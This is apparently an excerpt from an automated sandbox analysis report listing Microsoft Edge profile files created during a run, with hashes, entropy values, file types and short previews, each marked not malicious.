SHA-512:	8B9CD5FCF1C037A57507292AB08CF354DF9B21B1C577EEE6B789E826A57F034140105631F7611462D2B011947F8BC4C0B481B2B9C353ABCCC613FA9CEBEDB3CF
Malicious:	false
Preview:	2024/08/31-23:09:50.828 ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/08/31-23:09:50.830 ddc Recovering log #3.2024/08/31-23:09:50.833 ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	417
Entropy (8bit):	5.231038963105687
Encrypted:	false
SSDEEP:	6:U+q2Pwkn23oH+TcwtzjqEKj0QMxIFUt8lcZmw+pVkwOwkn23oH+TcwtzjqEKj0Qq:U+vYfYebvqBZFUt8C/+pV5JfYebvqBaJ
MD5:	581A4F7FC0379C05F79534D5754355BE
SHA1:	FBBE549C1413A128057E3BC4D3BFD07E8AF071A5
SHA-256:	041BE2E3F844EA897C20B6B60152E729C7E4D0E4E6B0D1F00F9B76350C63FDC2
SHA-512:	8B9CD5FCF1C037A57507292AB08CF354DF9B21B1C577EEE6B789E826A57F034140105631F7611462D2B011947F8BC4C0B481B2B9C353ABCCC613FA9CEBEDB3CF
Malicious:	false
Preview:	2024/08/31-23:09:50.828 ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/08/31-23:09:50.830 ddc Recovering log #3.2024/08/31-23:09:50.833 ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.243512861436724
Encrypted:	false
SSDEEP:	6:Lq2Pwkn23oH+TcwtpIFUt83Zmw+6kwOwkn23oH+Tcwta/WLJ:LvYfYebmFUt83/+65JfYebaUJ
MD5:	C03CB222959FAC30506A7E18414448DA
SHA1:	860CC1B7EFA961661D662710C4915CEA43E4DDD2
SHA-256:	2D2A8923CEF548367CBD8334343B553BDDD9D0942867BDF8FBC0483AC40DB8BD
SHA-512:	01854216261F5210E61394FF94324C5A66381EE101A84DC982D87E99A8498F2D46E65B4DFE31CF4E6007B7EB00AAC8A562EA5E6DF83A6DC1074CD38D9BF68EF8
Malicious:	false
Preview:	2024/08/31-23:09:34.254 574 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/08/31-23:09:34.254 574 Recovering log #3.2024/08/31-23:09:34.255 574 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.243512861436724
Encrypted:	false
SSDEEP:	6:Lq2Pwkn23oH+TcwtpIFUt83Zmw+6kwOwkn23oH+Tcwta/WLJ:LvYfYebmFUt83/+65JfYebaUJ
MD5:	C03CB222959FAC30506A7E18414448DA
SHA1:	860CC1B7EFA961661D662710C4915CEA43E4DDD2
SHA-256:	2D2A8923CEF548367CBD8334343B553BDDD9D0942867BDF8FBC0483AC40DB8BD
SHA-512:	01854216261F5210E61394FF94324C5A66381EE101A84DC982D87E99A8498F2D46E65B4DFE31CF4E6007B7EB00AAC8A562EA5E6DF83A6DC1074CD38D9BF68EF8
Malicious:	false
Preview:	2024/08/31-23:09:34.254 574 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/08/31-23:09:34.254 574 Recovering log #3.2024/08/31-23:09:34.255 574 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, 1st free page 5, free pages 2, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.26707851465859517
Encrypted:	false
SSDEEP:	12:TLPp5yN8h6MvDOH+FxOUwa5qVZ7Nkl25Pe2d:TLh8Gxk+6Uwc8NlYC
MD5:	04F8B790DF73BD7CD01238F4681C3F44
SHA1:	DF12D0A21935FC01B36A24BF72AB9640FEBB2077
SHA-256:	96BD789329E46DD9D83002DC40676922A48A3601BF4B5D7376748B34ECE247A0
SHA-512:	0DD492C371D310121F7FD57D29F8CE92AA2536A74923AC27F9C4C0C1580C849D7779348FC80410DEBB5EEE14F357EBDF33BF670D1E7B6CCDF15D69AC127AB7C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.......j.j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 87, cookie 0x66, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	180224
Entropy (8bit):	0.9237410161604507
Encrypted:	false
SSDEEP:	192:vyMUfTfnGCTjHbRJkkqtXaWTK+hGgH+6e7E:vyffrnzkkqtXnTK+hNH+5
MD5:	C97C2FBAAEA45BB3C728D02689216CB2
SHA1:	CA75AE4F32B49EA8EE1C3FDC4A6A6729460AE9F2
SHA-256:	DB3E522850328F9150FF442E3680DF9F8A332B504ECECE26F4983D79C0D1482B
SHA-512:	5CDF0D3D8069092E9656482D2F4BEAAAF0E58CA20B6066FE0EAB0C84EB60DBCF292EC5A6988F93A8077087FD80E887371EF67A443CCDC99CCFDBE42E708D938E
Malicious:	false
Preview:	SQLite format 3......@ .......W...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	0.06569804787746027
Encrypted:	false
SSDEEP:	3:IAFl1lhtl6n:NF3q
MD5:	A5D97F94E07C8388DD7A89D9F9BC1049
SHA1:	79497EE502FE15B1CE650C052FC1FA2127DDA678
SHA-256:	DC7EA3DF6904256DC30478552954613AFD25161A0165C436BC2936C32FFA0F01
SHA-512:	AF0803F08B47B7C6B030014CBF46B73F48B5AC63815C441B4E07E4C7DA992994E2258869EC2760F20A67B16ACACAD25563A5E7D4EE90DBAC39B36621D53A083B
Malicious:	false
Preview:	...............:...W....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d8c99fb9-d48a-4b89-a45c-e48db92f45c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	155
Entropy (8bit):	4.257822685536356
Encrypted:	false
SSDEEP:	3:VVXntjQPEnjQd/l3seGKT9rcQ6xXbpOtlTxotl:/XntM+w/l3sedhOXNOu
MD5:	0F70446F127A236C6CE499D5569C58E4
SHA1:	3D8E0BB7318DA48CB64EE779E39B9CE773912A3B
SHA-256:	29020487F38C47F7DD311572815134421E0CB5E2E495297F39383563086E3BDB
SHA-512:	046E80D799CCA7DAA71783CD7A938D83F8A11701438D4B392685E9B7CFD7E67FA71A5309467B5007F472950FD2EA94B389B41D39F11FA9DC717FABA6CD2CDA1B
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...z0................39_config..........6.....n ...1u}.=...............u}.=...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.2631591518305685
Encrypted:	false
SSDEEP:	6:UF41wkn23oH+Tcwtfrl2KLlm4Oq2Pwkn23oH+TcwtfrK+IFUv:UlfYeb1L84OvYfYeb23FUv
MD5:	4DDE1DFC9A6499352D97E41ACE5A19BA
SHA1:	E6B072C2AE23390E8582B06A279091FF2FD13061
SHA-256:	6818D71B2BF3C86B5438885C6C8FD1240DFF4B685DD578034971F990EB6A3B8F
SHA-512:	B8E6FB2BDF1521BA096905C756E56AF086B1246BBD292ABAD11A20CD95E3CD3539210EA7DCCBFEF08668F4E4D528C9BFB170E19D92168AE5579DC0635DE0A071
Malicious:	false
Preview:	2024/08/31-23:09:35.057 14b0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db since it was missing..2024/08/31-23:09:35.068 14b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	3.9316373563653464
Encrypted:	false
SSDEEP:	12:G0nYUtTNVBXZj3C/Uz0RK5uh/2RdjbDG6UuR:G0nYUtPBJj3SUD4hORdy6hR
MD5:	96A26B275123DBA45FF318D67E1EB03C
SHA1:	0AAF5CC0756BA1653A7CDE8A6BA3D9F40D06E1AA
SHA-256:	F85022D0971043640E986FE6F9358D9D14FDFA77F119E74382FFCE549ACA8E84
SHA-512:	16122A4BABD772D244EFEA4660401FA63C9CD8B75BF05B5B43F5878699673BC9B3FB367E1937E1962A1CCBA1B2EE008FB6F86CA2133E2A39CFBA1063C7A33820
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_......ah0.................20_.....pE..................20_.........................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_..........................19_.....}....................18_......m=.................37_.....uTN..................38_.......h.................39_......de.................9_..........................9_......y(.................21_..........................21_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.21519920384756
Encrypted:	false
SSDEEP:	6:F1R1wkn23oH+Tcwtfrzs52KLlmRgq2Pwkn23oH+TcwtfrzAdIFUv:kfYebs9L8RgvYfYeb9FUv
MD5:	6C6692A6512113ADDC580E57213BA922
SHA1:	9BC5E3B227278F5DDC8BC1AD996CD1E9DF5D8D02
SHA-256:	20F270424CEDC26B4DFC27FF08637E1B116048453A22BF4268E22F9E5D830D3D
SHA-512:	0ED92B745B90851978AECB5C825901CD9BA8DBC567E7D9E1774B1ED4BC09633EAEC057E15E85C9E340E7777841295DE64E369573CB8E7F8F2CA26D9B6836B27A
Malicious:	false
Preview:	2024/08/31-23:09:34.698 14b0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata since it was missing..2024/08/31-23:09:35.054 14b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl5fEq:Ls3lEq
MD5:	12547108EF8F1C33EAC7B13D5E2B8E57
SHA1:	1CA1804143F021EA8D8D7E07FCBB0FA49B4D8948
SHA-256:	B12845737D68C808C455F88CBC0CE3ED6A46F9D8EF3C4CAC7DAF78B808E80919
SHA-512:	9F77A8AE6664E9DA7A06DE6F1821FE0CA013C2AE259BF73AD41884C0C828B27C967FD5990AC6F8E5EF7A7DDE096C851472B2F4E86B76175E0970F5CB1F53B0A3
Malicious:	false
Preview:	.........................................#.o../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

